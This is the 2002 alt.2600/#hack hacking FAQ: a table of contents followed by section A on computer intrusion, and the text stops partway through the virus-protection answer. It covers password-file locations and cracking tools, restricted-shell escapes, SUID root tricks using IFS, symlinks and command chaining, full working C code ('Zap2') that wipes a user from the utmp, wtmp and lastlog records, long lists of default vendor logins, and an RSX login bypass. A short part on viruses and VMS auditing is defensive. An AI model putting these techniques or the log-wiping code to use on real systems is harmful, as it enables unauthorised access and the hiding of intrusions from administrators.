Questions (and their answers) about hacking. It should be read by anyone who wishes to post to the alt.2600 newsgroup or use the IRC channel #hack.
Archive-Name: alt-2600/faq
Posting-Frequency: Random
Last-Modified: 2002/08/19
Version: 2002-08-19
Welcome to the alt.2600/#hack FAQ!
The purpose of this FAQ is to give you a general introduction to the topics covered in alt.2600 and #hack. No document will make you a hacker.
If you have a question regarding any of the topics covered in the FAQ, please direct it to alt.2600. Please do not e-mail me your questions; I do not have time to respond to each request personally.
If your copy of the alt.2600/#hack FAQ does not end with the letters EOT on a line by themselves, you do not have the entire FAQ.
If you do not have the entire FAQ, find it on the worlwide web at http://ww.hackfaq.org
A TNO Communications Production
byTNO, L.O.D., The Guild, r00t, L0pht Heavy Industries, TACD, PLA.
A-Flat, Aleph1, Alhambra, Bogus Technician, Colonel Mustard, Disorder, DrFaustus, Frosty, Glen Roberts, Harlequin, Hobbit, Ila, K4thryn, Kgee, Lizzie Borden, Mad Poo Bandit, Major, Marauder, Montell, Mudge, Outsider, Pill, Plexor, Presence, Rage, RF, Rogue Agent, Route, Simple Nomad, Theora, ThePublic, Tomes, TVoid,Vidiot, Wozz and all of the other happy zanies out there on the 'net.
When I picture a perfect reader, I always picture a monster of courage and curiosity, also something supple, cunning, cautious, a born adventurer and discoverer...
-- Friedrich NietzscheSection A: Computers
A-01. How do I access the password file under Unix?
A-02. How do I crack Unix passwords?
A-03. What is password shadowing?
A-04. Where can I find the password file if it's shadowed?
A-05. What is NIS/yp?
A-06. What are those weird characters after the comma in my passwd file?
A-07. How do I access the password file under Windows NT?
A-08. How do I crack Windows NT passwords?
A-09. How do I access the password file under VMS?
A-10. How do I crack VMS passwords?
A-11. What can be logged on a VMS system?
A-12. What privileges are available on a VMS system?
A-13. How do I break out of a restrictive shell?
A-14. How do I gain root from a suid script or program?
A-15. How do I erase my presence from the system logs?
A-16. How do I change to directories with strange characters in them?
A-17. What is this system?
A-18. What are the default accounts for XXX?
A-19. What is a trojan/worm/virus/logic bomb?
A-20. How can I protect myself from viruses and such?
A-21. Where can I get more information about viruses?
A-22. What is Cryptoxxxxxxx?
A-23. What is PGP?
A-24. What is Tempest?
A-25. How do I defeat copy protection?
A-26. What are some available debuggers and disassemblers?
A-27. How do I defeat a BIOS password?
A-28. What is the password for <encrypted file>?
A-29. Is there any hope of a decompiler that would convert an executable program into C/C++ code?
A-30. How does the MS-Windows password encryption work?
A-31. What is an Intrusion Detection System (IDS)?
Section B: Data Networks
B-01. How do I send fakemail?
B-02. How do I fake posts and control messages to Usenet?
B-03. How do I hack ChanOp on IRC?
B-04. How do I modify the IRC client to hide my real username?
B-05. What is sniffing?
B-06. What is an Internet Outdial?
B-07. What are some Internet Outdials?
B-08. What port is XXX on?
B-09. What is an anonymous remailer?
B-10. What are the addresses of some anonymous remailers?
B-11. What is 127.0.0.1?
B-12. How do I post to a moderated newsgroup?
B-13. How do I post to Usenet via e-mail?
B-14. What is a firewall?
B-15. How do I attack a remote network across the Internet?
B-16. What is a TCP sequence prediction attack?
Section C: Wireless Networks
C-01. What is 802.11?
C-02. What is a SSID?
C-03. What is WEP?
C-04. What is MAC Address Filtering?
C-05. What is a rogue access point?
C-06. Where can I get some really cool 802.11 antennae?
C-07. What are some interesting 802.11 tools?
Section D: Telephony
D-01. What is a Red Box?
D-02. How do I build a Red Box?
D-03. Where can I get a 6.5536Mhz crystal?
D-04. Which payphones will a Red Box work on?
D-05. How do I make local calls with a Red Box?
D-06. What is a Blue Box?
D-07. Do Blue Boxes still work?
D-08. What is a Black Box?
D-09. What do all the colored boxes do?
D-10. What is an ANAC number?
D-11. What is the ANAC number for my area?
D-12. What is a ringback number?
D-13. What is the ringback number for my area?
D-14. What is a loop?
D-15. What is a loop in my area?
D-16. What is a CNA number?
D-17. What is the telephone company CNA number for my area?
D-18. What are some numbers that always ring busy?
D-19. What are some numbers that temporarily disconnect phone service?
D-20. What is a Proctor Test Set?
D-21. What is a Proctor Test Set in my area?
D-22. What is scanning?
D-23. Is scanning illegal?
D-24. How can I make a lineman's handset?
D-25. Where can I purchase a lineman's handset?
D-26. What are the DTMF frequencies?
D-27. What are the frequencies of the telephone tones?
D-28. What is the voltage used to ring a telephone?
D-29. What are all of the * (LASS) codes?
D-30. What frequencies do cordless phones operate on?
D-31. What is Caller-ID?
D-32. How do I block Caller-ID?
D-33. How do I defeat Caller-ID blocking?
D-34. What is a PBX?
D-35. What is a VMB?
D-36. What are the ABCD tones for?
D-37. What are the International Direct Numbers?
D-38. What are some telephone switches?
Section E: Cellular Telephony
E-01. What is a MTSO?
E-02. What is a NAM?
E-03. What is an ESN?
E-04. What is a MIN?
E-05. What is a SCN?
E-06. What is a SIDH?
E-07. What are the forward/reverse channels?
Section F: Radio
F-01. What are these radios I see all of the other hacker types carrying around?
F-02. Do I need a license to use one of these radios?
F-03. What about modifying ("modding") these radios?
F-04. What are better radios for scanning?
F-05. What is trunking?
F-06. What is pirate radio?
Section H: Resources
H-01. What are some ftp sites of interest to hackers?
H-02. What are some fsp sites of interest to hackers?
H-03. What are some newsgroups of interest to hackers?
H-04. What are some telnet sites of interest to hackers?
H-05. What are some gopher sites of interest to hackers?
H-06. What are some World wide Web (WWW) sites of interest to hackers?
H-07. What are some IRC channels of interest to hackers?
H-08. What are some BBS's of interest to hackers?
H-09. What are some books of interest to hackers?
H-10. What are some videos of interest to hackers?
H-11. What are some mailing lists of interest to hackers?
H-12. What are some print magazines of interest to hackers?
H-13. What are some e-zines of interest to hackers?
H-14. What are some organizations of interest to hackers?
H-15. What are some radio programs of interest to hackers?
H-16. What are other FAQ's of interest to hackers?
H-17. What are some conferences of interest to hackers?
H-18. What are some telephone numbers of interest to hackers?
H-19. Where can I purchase a magnetic stripe reader/writer?
H-20. What are the rainbow books and how can I get them?
Section I: 2600
I-01. What is alt.2600?
I-02. What does "2600" mean?
I-03. Are there on-line versions of 2600 available?
I-04. I can't find 2600 at any bookstores. What can I do?
I-05. Why does 2600 cost more to subscribe to than to buy at a newsstand?
Section J: Miscellaneous
J-01. What does XXX stand for?
J-02. How do I determine if I have a valid credit card number?
J-03. What is the layout of data on magnetic stripe cards?
J-04. What are the ethics of hacking?
J-05. Why did you write this FAQ?
J-06. Where can I get a copy of the alt.2600/#hack FAQ?
| Unix | Path | Token |
|---|---|---|
| AIX 3 and AIX 4 | /etc/security/passwd | ! |
| or | /tcb/auth/files/<first letter of username>/<username> |
# |
| A/UX 3.0s | /tcb/files/auth/?/* | |
| BSD4.3-Reno | /etc/master.passwd | * |
| ConvexOS 10 | /etc/shadpw | * |
| ConvexOS 11 | /etc/shadow | * |
| DG/UX | /etc/tcb/aa/user/ | * |
| EP/IX | /etc/shadow | x |
| HP-UX | /.secure/etc/passwd | * |
| IRIX 5 | /etc/shadow | x |
| Linux 1.1 | /etc/shadow | * |
| OSF/1 | /etc/passwd[.dir|.pag] | * |
| SCO Unix 3.2.x | /tcb/auth/files/<first letter of username>/<username> |
* |
| SunOS4.1+c2 | /etc/security/passwd.adjunct | ##username |
| SunOS 5.0 / Solaris 2.x | /etc/shadow | |
| <optional NIS+ private secure | maps> | |
| System V Release 4.0 | /etc/shadow | x |
| System V Release 4.2 | /etc/security/* database | |
| Ultrix 4 | /etc/auth[.dir|.pag] | * |
| UNICOS | /etc/udb | * |
A-05. What is NIS/yp?
NIS (Network Information System) in the current name for what was once known as yp (Yellow Pages). The purpose of NIS is to allow many machines on a network to share configuration information, including password data. NIS is not designed to promote system security. If your system uses NIS you will have a very short /etc/passwd file that includes a line that looks like this:
+::0:0:::i
To view the real password file use this command `ypcat passwd`
A-06. What are those weird characters after the comma in my passwd file?
The characters are password aging data. Password aging forces the user to change passwords after a system administrator-specified period of time. Password aging can also force a user to keep a password for a certain number of weeks before changing it.
Note the comma in the encrypted password field. The characters after the comma are used by the password aging mechanism.
The four characters are interpreted as follows:
1: Maximum number of weeks a password can be used without changing.
2: Minimum number of weeks a password must be used before changing.
3&4: Last time password was changed, in number of weeks since 1970.
Three special cases should be noted:
If the first and second characters are set to '..' the user will be forced to change his/her passwd the next time he/she logs in. The passwd program will then remove the passwd aging characters, and the user will not be subjected to password aging requirements again.
If the third and fourth characters are set to '..' the user will be forced to change his/her passwd the next time he/she logs in. Password aging will then occur as defined by the first and second characters.
If the first character (MAX) is less than the second character (MIN), the user is not allowed to change his/her password. Only root can change that users password.
It should also be noted that the su command does not check the password aging data. An account with an expired password can be su'd to without being forced to change the password.
| Password Aging Codes | |||||||||||||||||||||
| Character: | . | / | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | A | B | C | D | E | F | G | H | |
| Number: | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Character: | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z | a | b | |
| Number: | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Character: | c | d | e | f | g | h | i | j | k | l | m | n | o | p | q | r | s | t | u | v | |
| Number: | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| Character: | w | x | y | z | |||||||||||||||||
| Number: | 60 | 61 | 62 | 63 | |||||||||||||||||
A-07. How do I access the password file under Windows NT?
Windows NT stores encrypted password hashes in the Registry. RDISK stores a compressed backup copy of the the password hashes is stored in %SystemRoot%\repair\sam._.
If you can access the Registry you can use PWDump by Jeremy Allison to view this data. The PWDump utility is freely available at http://us1.samba.org/samba/ftp/pwdump/.
PWDump output consists of seven colon delimited fields:
Username
User number
Encrypted password
LAN Man Password Hash
Windows NT Password Hash
Full Name and Description
Home directory
Broken down, this password entry shows:
Username: voyagerA-08. How do I crack Windows NT passwords?
Windows NT passwords are encrypted with a one way function. This is
similar to the way that Unix stores passwords, except that the Microsoft
algorithm is significantly weaker.
Windows NT password can be cracked using wordlists. This is much the same as attacking Unix passwords with word lists, except that Microsoft passwords are much easier to crack.
In addition, Microsoft passwords can be brute forced. This means that every password on the system can be retrieved.
The best cracking program for Windows NT passwords is currently L0phtCrack by Mudge and Weld Pond. L0phtCrack is available at http://www.atstake.com/research/lc/.
A-09. How do I access the password file under VMS?
Under VMS, the password file is normally stored as SYS$SYSTEM:SYSUAF.DAT. However, unlike traditional Unixen, most users do not have access to read the password file.
Some administrators will move SYS$SYSTEM:SYSAUF.DAT, in an attempt to increase security through obscurity. In this case, `DIR SYSAUF` or `SHOW LOG SYSAUF` should point you to the new location of the file.
A-10. How do I crack VMS passwords?
Write a program that uses the SYS$GETUAF functions to compare the results of encrypted words against the encrypted data in SYSUAF.DAT.
Two such programs are known to exist, CHECK_PASSWORD and GUESS_PASSWORD.
A-11. What can be logged on a VMS system?
Virtually every aspect of the VMS system can be logged for investigation. To determine the status of the accounting on your system use the command SHOW ACCOUNTING. System accounting is a facility for recording information about the use of the machine from a system accounting perspective (resource logging such as CPU time, printer usage, etc.), while system auditing is done with the aim of logging information for the purpose of security. To enable accounting:
$ SET ACCOUNTING [/ENABLE=(Activity...)]
This enables accounting logging information to the accounting log file SYS$MANAGER:ACCOUNTING.DAT. This also is used to close the current log file and open a new one with a higher version number.
The following activities can be logged:
BATCH Termination of a batch job DETACHED Termination of a detached job IMAGE Image execution INTERACTIVE Interactive job termination LOGIN_FAILURE Login failures MESSAGE Users' messages NETWORK Network job termination Print Jobs PROCESS Any terminated process SUBPROCESS Termination of a subprocess
To enable security auditing use:
$ SET AUDIT [/ENABLE=(Activity...)]
The /ALARM qualifier is used to raise an alarm to all terminals approved as security operators, which means that you need the SECURITY privileges. You can determine your security auditing configuration using $ SHOW AUDIT /ALL
The security auditor can be configured to log the following activities:
ACL Access Control List requested events AUTHORIZATION Modification to the system user
authorization file SYS$SYSTEM:SYSUAF.DATBREAKIN Attempted Break-ins FILE_ACCESS File or global section access INSTALL Occurrence of any INSTALL operations LOGFAILURE Any login failures LOGIN A login attempt from various sources LOGOUT Logouts MOUNT Mount or dismount requests
A-12. What privileges are available on a VMS system?
| ACNT | Allows you to restrain accounting messages |
| ALLSPOOL | Allows you to allocate spooled devices |
| ALTPRI | Allot Priority. This allows you to set any priority value |
| BUGCHK | Allows you make bug check error log entries |
| BYPASS CMEXEC/ |
Enables you to disregard protections |
| CMKRNL | Change to executive or kernel mode. These privileges allow a process to execute optional routines with KERNEL and EXECUTIVE access modes. CMKRNL is the most powerful privilege on VMS as anything protected can be accessed if you have this privilege. You must have these privileges to gain access to the kernel data structures directly. |
| DETACH | This privilege allow you to create detached processes of arbitrary UICs |
| DIAGNOSE | With this privilege you can diagnose devices |
| EXQUOTA | Allows you to exceed your disk quota |
| GROUP | This privilege grants you permission to affect other processes in the same rank |
| GRPNAM | Allows you to insert group logical names into the group logical names table. |
| GRPPRV | Enables you to access system group objects through system protection field |
| LOG_IO | Allows you to issue logical input/output requests |
| MOUNT | May execute the mount function |
| NETMBX | Allows you to create network connections |
| OPER | Allows you to perform operator functions |
| PFNMAP | Allows you to map to specific physical pages |
| PHY_IO | Allows you to perform physical input output requests |
| PRMCEB | Can create permanent common event clusters |
| PRMGBL | Allows you to create permanent global sections |
| PRMMBX | Allows you to create permanent mailboxes |
| PSWAPM | Allows you to change a processes swap mode |
| READALL | Allows you read access to everything |
| SECURITY | Enables you to perform security-related functions |
| SETPRV | Enable all privileges |
| SHARE | Allows you to access devices allocated to other users. This is used to assign system mailboxes. |
| SHMEM | Enables you to modify objects in shared memory |
| SYSGBL | Allows you to create system wide permanent global sections |
| SYSLCK | Allows you to lock system wide resources |
| SYSNAM | Allows you to insert in system logical names in the names table. |
| SYSPRV | If a process holds this privilege then it is the same as a process holding the system user identification code. |
| TMPMBX | Allows you to create temporary mailboxes |
| VOLPRO | Enables you to override volume protection |
| WORLD | When this is set you can affect other processes in the world |
To determine what privileges your process is running with issue the command:
$ show proc/priv
A-13. How do I break out of a restrictive shell?
A restrictive shell is a shell that has been modified to allow you to do fewer things than a normal shell would allow you to do. It may allow you to run only certain programs. It may stop you from changing directories. Many sites run their own restrictive shells to allow limited use of their systems over the Internet. Restrictive shells often make use of the restricted shell (rsh).
On poorly implemented restricted shells you can break out of the restricted environment by running a program that features a shell function. A good example is vi. Run vi and use this command:
:set shell=/bin/sh
then shell using this command:
:shell
Many menu based restricted shells will allow you to configure your user environment, or to run programs that allow you to configure your user environment. Look for configuration options that refer to executable programs. If the program lets you define an editor, for example, try to set your editor to "/bin/csh -i -f"
If you are not allowed to read files, try to open them inside the e-mail program.
If you are not allowed to edit files, try to save that to file from the e-mail program.
If your restricted shell prevents you from using the "cd" command, try to FTP into your account and change directories. FTP can aso be used to edit files by getting the file, editing it offline, and utting the net file back online.
Like most hacking, trying things is often the most successful strategy.
A-14. How do I gain root from a SUID script or program?
If the program calls any other programs using the system() function call, you may be able to fool it by changing IFS. IFS is the Internal Field Separator that the shell uses to delimit arguments.
If the program contains a line that looks like this:
system("/bin/date")
and you change IFS to '/' the shell will them interpret the proceeding line as:
bin date
Now, if you have a program of your own in the path called "bin" the suid program will run your program instead of /bin/date.
To change IFS, use this command:
| IFS='/';export IFS | # Bourne Shell |
| setenv IFS '/' | # C Shell |
| export IFS='/' | # Korn Shell |
Create a symbolic link named "-i" to the program. Running "-i" will cause the interpreter shell (/bin/sh) to start up in interactive mode. This only works on suid shell scripts.
Example:
% ln suid.sh -i
% -i #
Replace a symbolic link to the program with another program while the kernel is loading /bin/sh.
Example:
nice -19 suidprog ; ln -s evilprog suidroot
Invoke the name of the program and a separate command on the same command line.
Example:
suidprog ; id
A-15. How do I erase my presence from the system logs?
Edit utmp (usually /etc/utmp), wtmp (usually /usr/adm/wtmp), and lastlog
(usually /usr/adm/lastlog) These are not text files that can be edited
by hand with vi, you must use a program specifically written for this
purpose.
Example:
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"
int f;
void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;
if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}
void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;
pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {
while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
}
void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;
if ((pwd=getpwnam(who))!=NULL) {
if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}
} else printf("%s: ?\n",who);
}
main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf("Zap2!\n");
} else
printf("Error.\n");
}
A-16. How do I change to directories with strange characters in them?
These directories are often used by people trying to hide information, most often warez (commercial software).
There are several things you can do to determine what these strange characters are. One is to use the arguments to the ls command that cause ls to give you more information:
From the man page for ls:
- -F
- Causes directories to be marked with a trailing ``/'', executable files to be marked with a trailing ``*'', and symbolic links to be marked with a trailing ``@'' symbol.
- -q
- Forces printing of non-graphic characters in filenames as the character ``?''.
- -b
- Forces printing of non-graphic characters in the \ddd notation, in octal.
Perhaps the most useful tool is to simply do an "ls -al filename" to save the directory of the remote ftp site as a file on your local machine. Then you can do a "cat -t -v -e filename" to see exactly what those bizarre little characters are.
From the man page for cat:
- -v
- Causes non-printing characters (with the exception of tabs, newlines, and form feeds) to be displayed. Control characters are displayed as ^X (<Ctrl>x), where X is the key pressed with the <Ctrl> key (for example, <Ctrl>m is displayed as ^M). The <Del> character (octal 0177) is printed as ^?. Non-ASCII characters (with the high bit set) are printed as M -x, where x is the character specified by the seven low order bits.
- -t
- Causes tabs to be printed as ^I and form feeds as ^L. This option is ignored if the -v option is not specified.
- -e
- Causes a ``$'' character to be printed at the end of each line (prior to the new-line). This option is ignored if the -v option is not set.
If the directory name includes a <SPACE> or a <TAB> you will need to enclose the entire directory name in quotes. Example:
cd "..<TAB>"
On an IBM-PC, you may enter these special characters by holding down the <ALT> key and entering the decimal value of the special character on your numeric keypad. When you release the <ALT> key, the special character should appear on your screen. An ASCII chart can be very helpful.
Sometimes people will create directories with some of the standard stty control characters in them, such as ^Z (suspend) or ^C (intr). To get into those directories, you will first need to user stty to change the control character in question to another character.
From the man page for stty:
Control assignments
control-character C
Sets control-character to C, where control-character is erase, kill, intr (interrupt), quit, eof, eol, swtch (switch), start, stop or susp.
start and stop are available as possible control characters
for the control-character C assignment.
If C is preceded by a caret (^) (escaped from the shell), then the value used is the corresponding control character (for example, ^D is a <Ctrl>d; ^? is interpreted as DELETE and ^- is interpreted as undefined).Use the stty -a command to see your current stty settings, and to determine which one is causing you problems.
A-17. What is this system?
AIX
IBM AIX Version 3 for RISC System/6000 (C) Copyrights by IBM and by others 1982, 1990. login:
[You will know an AIX system because it is the only Unix system that clears the screen and issues a login prompt near the bottom of the screen]
AS/400
UserID?
Password?Once in, type GO MAIN
CDC Cyber
WELCOME TO THE NOS SOFTWARE SYSTEM.
COPYRIGHT CONTROL DATA 1978, 1987.88/02/16. 02.36.53. N265100
CSUS CYBER 170-730. NOS 2.5.2-678/3.
FAMILY:
You would normally just hit return at the family prompt. Next prompt is:
USER NAME:
CISCO Router
FIRST BANK OF TNO
95-866 TNO VirtualBank
REMOTE Router - TN043R1
Console Port
SN - 00000866
TN043R1>
DECserver
DECserver 700-08 Communications Server V1.1 (BL44G-11A) - LAT V5.1 DPS502-DS700
(c) Copyright 1992, Digital Equipment Corporation - All Rights Reserved
Please type HELP if you need assistance
Enter username> TNO
Local>
Hewlett Packard MPE-XL
MPE XL:
EXPECTED A :HELLO COMMAND. (CIERR 6057) MPE XL:
EXPECTED [SESSION NAME,] USER.ACCT [,GROUP] (CIERR 1424) MPE XL:
GTN
WELCOME TO CITIBANK. PLEASE SIGN ON.
XXXXXXXX@
PASSWORD =@
PLEASE ENTER YOUR ID:-1->
PLEASE ENTER YOUR PASSWORD:-2->CITICORP (CITY NAME). KEY GHELP FOR HELP. XXX.XXX
PLEASE SELECT SERVICE REQUIRED.-3->
Lantronix Terminal Server
Lantronix ETS16 Version V3.1/1(940623)
Type HELP at the 'Local_15> ' prompt for assistance.
Login password>
Meridian Mail
Meridian Mail (Northern Telecom Phone/Voice Mail System)MMM MM MERIDIAN MMMMM MMMMM MMMMMM MMMMMM MMM MMMMM MMM MMMMM MMMMM MMM MMM MMM MMMMMM MMMMMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMMMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM MMM Copyright (c) Northern Telecom, 1991
Novell ONLAN
<Control-A aka smiley face>N
[To access the systems it is best to own a copy of ONLAN/PC]
PC-Anywhere
<Control-A aka smiley face>P
[To access the systems it is best to own a copy of PCAnywhere Remote]
PRIMOS
PRIMENET 19.2.7F PPOA1
<any text>
ER!
CONNECT
Primenet V 2.3 (system) LOGIN (you) User id? (system) SAPB5 (you) Password? (system) DROWSAP (you) OK, (system)
ROLM CBX II
ROLM CBXII RELEASE 9004.2.34 RB295 9000D IBMHO27568 BIND DATE: 7/APR/93
COPYRIGHT 1980, 1993 ROLM COMPANY. ALL RIGHTS RESERVED. ROLM IS A REGISTERED TRADEMARK AND CBX IS A TRADEMARK OF ROLM COMPANY. YOU HAVE ENTERED CPU 1
12:38:47 ON WEDNESDAY 2/15/1995USERNAME: op
PASSWORD:
INVALID USERNAME-PASSWORD PAIR
ROLM-OSL
MARAUDER10292 01/09/85(^G) 1 03/10/87 00:29:47 RELEASE 8003
OSL, PLEASE.
?
ROLM PhoneMail
ROLM PhoneMail 9252 9254 Microcode Version 4.2 Copyright (C) ROLM Systems 1991
All Rights Reserved.PM Login>
PM Password>
ÿÿÿSystem75
- Login
- root
INCORRECT LOGIN- Login
- browse
Password:Software Version: G3s.b16.2.2
Terminal Type (513, 4410, 4425): [513]
Tops-10
NIH Timesharing
NIH Tri-SMP 7.02-FF 16:30:04 TTY11
system 1378/1381/1453 Connected to Node Happy(40) Line # 12 Please LOGIN
.
VM/370
VM/370
!
VM/ESA
VM/ESA ONLINE
TBVM2 VM/ESA Rel 1.1 PUT 9200
Fill in your USERID and PASSWORD and press ENTER (Your password will not appear when you type it) USERID ===>
PASSWORD ===>COMMAND ===>
Xylogics Annex Communications Server
Annex Command Line Interpreter * Copyright 1991 Xylogics, Inc.
Checking authorization, Please wait... - Annex username: TNO - Optional security check Annex password: - Not always present
Permission granted
annex:
A-18. What are the default accounts for XXX?
AS/400
qsecofr qsecofr /* master security officer */ qsysopr qsysopr /* system operator */ qpgmr
alsoqpgmr /* default programmer */ ibm password ibm 2222 ibm service qsecofr 1111111 qsecofr 2222222 qserv qserv qsvr qsvr secofr secofr qsrv ibmce1
DECserver
ACCESS
SYSTEM
Dynix (The library software, not the UnixOS)
setup <no password> library <no password> circ <Social Security Number>
(Type 'later' to exit to the login prompt)
Hewlett Packard MPE-XL
HELLO MANAGER.SYS HELLO MGR.SYS HELLO FIELD.SUPPORT HPUNSUP or SUPPORT or HP HELLO OP.OPERATOR MGR CAROLIAN MGR CCC MGR CNAS MGR CONV MGR COGNOS OPERATOR COGNOS MANAGER COGNOS OPERATOR DISC MGR HPDESK MGR HPWORD FIELD HPWORD MGR HPOFFICE SPOOLMAN HPOFFICE ADVMAIL HPOFFICE HPOFFICE WP HPOFFICE MANAGER HPOFFICE MGR HPONLY FIELD HPP187 MGR HPP187 MGR HPP189 MGR HPP196 MGR INTX3 MGR ITF3000 MANAGER ITF3000 MGR NETBASE MGR REGO MGR RJE MGR ROBELLE MANAGER SECURITY MGR SECURITY FIELD SERVICE MANAGER SYS MGR SYS PCUSER SYS RSBCMON SYS OPERATOR SYS OPERATOR SYSTEM FIELD SUPPORT OPERATOR SUPPORT MANAGER TCH TELESUP MANAGER TELESUP MGR TELESUP SYS TELESUP MGE VESOFT MGE VESOFT MGR WORD MGR XLSERVER
Common jobs are Pub, Sys, Data
Common passwords are HPOnly, TeleSup, HP, MPE, Manager, MGR, Remote
Major BBS
Sysop Sysop
Mitel PBX
SYSTEM
Nomadic Computing Environment (NCE) on the Tadpole Technologies SPARCBook3
fax <no password>
PICK O/S
DSA # Desquetop System Administrator DS DESQUETOP PHANTOM
PRIMOS
PRIME PRIME SYSTEM SYSTEM PRIMOS PRIMOS ADMIN ADMIN RJE RJE DEMO DEMO GAMES GAMES GUEST GUEST REGIST REGIST TEST TEST NETMAN NETMAN PRIRUN PRIRUN TOOLS TOOLS CMDNC0 CMDMNC0
Prolog
PBX PBX NETWORK NETWORK NETOP <null>
Radio Shack Screen Savers
RS<STORE_ID_NUMBER>
Rolm
CBX Defaults
op op op operator su super admin pwp eng engineer
PhoneMail Defaults
sysadmin sysadmin tech tech poll tech
RSX
SYSTEM/SYSTEM (Username SYSTEM, Password SYSTEM)
1,1/system (Directory [1,1] Password SYSTEM)
BATCH/BATCH
SYSTEM/MANAGER
USER/USER
Default accounts for Micro/RSX:
MICRO/RSX
Alternately you can hit <CTRL-Z> when the boot sequence asks you for the date and create an account using:
RUN ACNT
or RUN $ACNT(Numbers below 10 {oct} are privileged)
Reboot and wait for the date/time question. Type ^C and at the MCR prompt, type "abo at." You must include the . dot!
If this works, type "acs lb0:/blks=1000" to get some swap space so the new step won't wedge.
type " run $acnt" and change the password of any account with a group number of 7 or less.
You may find that the ^C does not work. Try ^Z and ESC as well. Also try all 3 as terminators to valid and invalid times.
If none of the above work, use the halt switch to halt the system, just after a invalid date-time. Look for a user mode PSW 1[4-7]xxxx. then deposit 177777 into R6, cross your fingers, write protect the drive and continue the system. This will hopefully result in indirect blowing up... And hopefully the system has not been fully secured.
SGI Irix
4DGifts <no password> guest <no password> demos <no password> lp <no password> nuucp <no password> tour <no password> tutor <no password>
SGI Irix
bcim bcimpw bciim bciimpw bcms bcmspw, bcms bcnas bcnspw blue bluepw browse looker, browsepw craft crftpw, craftpw, crack cust custpw enquiry enquirypw field support inads indspw, inadspw, inads init initpw kraft kraftpw locate locatepw maint maintpw, rwmaint nms nmspw rcust rcustpw support supportpw tech field
Taco Bell
rgm rollout tacobell <null>
Verifone Junior 2.05
Default password: 166816
VMS
field service systest utep
XON / XON Junior
Default password: 166831
A-19. What is a trojan/worm/virus/logic bomb?
This FAQ answer was written by Theora:
Trojan:
Remember the Trojan Horse? Bad guys hid inside it until they could get into the city to do their evil deed. A trojan computer program is similar. It is a program which does an unauthorized function, hidden inside an authorized program. It does something other than what it claims to do, usually something malicious (although not necessarily!), and it is intended by the author to do whatever it does. If it's not intentional, its called a 'bug' or, in some cases, a feature :) Some virus scanning programs detect some trojans. Some virus scanning programs don't detect any trojans. No virus scanners detect all trojans.
Virus:
A virus is an independent program which reproduces itself. It may attach to other programs, it may create copies of itself (as in companion viruses). It may damage or corrupt data, change data, or degrade the performance of your system by utilizing resources such as memory or disk space. Some virus scanners detect some viruses. No virus scanners detect all viruses. No virus scanner can protect against "any and all viruses, known and unknown, now and forevermore".
Worm:
Made famous by Robert Morris, Jr., worms are programs which reproduce by copying themselves over and over, system to system, using up resources and sometimes slowing down the systems. They are self contained and use the networks to spread, in much the same way viruses use files to spread. Some people say the solution to viruses and worms is to just not have any files or networks. They are probably correct. We would include computers.
Logic Bomb:
Code which will trigger a particular form of 'attack' when a designated condition is met. For instance, a logic bomb could delete all files on Dec. 5th. Unlike a virus, a logic bomb does not make copies of itself.
A-20. How can I protect myself from viruses and such?
This FAQ answer was written by Theora:
The most common viruses are boot sector infectors. You can help protect yourself against those by write protecting all disks which you do not need write access to. Definitely keep a set of write protected floppy system disks. If you get a virus, it will make things much simpler. And, they are good for coasters. Only kidding.
Scan all incoming files with a recent copy of a good virus scanner. Among the best are F-Prot, Dr. Solomon's Anti-virus Toolkit, and Thunderbyte Anti-Virus. AVP is also a good program. Using more than one scanner could be helpful. You may get those one or two viruses that the other guy happened to miss this month.
New viruses come out at the rate of about 8 per day now. NO scanner can keep up with them all, but the four mentioned here do the best job of keeping current. Any good scanner will detect the majority of common viruses. No virus scanner will detect all viruses.
